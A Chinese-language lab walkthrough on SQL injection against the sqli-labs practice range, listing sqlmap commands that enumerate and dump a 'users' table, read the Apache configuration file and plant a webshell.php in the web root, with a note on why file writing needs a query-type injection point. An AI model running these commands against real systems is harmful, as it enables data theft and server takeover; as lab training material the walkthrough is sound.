實戰篇——SQL隱碼攻擊sqli-labs-master靶場實戰(3)
sqlmap基礎用法
GET型:
POST型:
請求頭注入(以User-Agent注入為例):
爆庫:
python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --threads 10 --dbs
爆表:
python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --threads 10 -D pikachu --tables
爆欄位:
python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --threads 10 -D pikachu -T users --columns
爆資料:
python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --threads 10 -D pikachu -T users --dump
讀取檔案:
python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --file-read C:\phpStudy\PHPTutorial\Apache\conf\httpd.conf
寫入檔案:
python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --file-write C:\Users\yaogu\Desktop\webshell.php --file-dest C:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-11\webshell.php
在操作過程中發現寫入失敗:
經過檢查,確認當前使用者是DBA並且secure_file_priv=/,但依然無法寫入。真正的原因在於此注入點是插入型而非查詢型,由於子查詢不能透過into outfile匯出檔案,因此雖然可以讀取檔案但是無法寫入檔案。
所以想要寫入檔案必須更換注入點:
python sqlmap.py -u http://192.168.118.142/sqli-labs-master/Less-1/?id=1 --file-write C:\Users\yaogu\Desktop\webshell.php --file-dest C:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-11\webshell.php
寫入成功: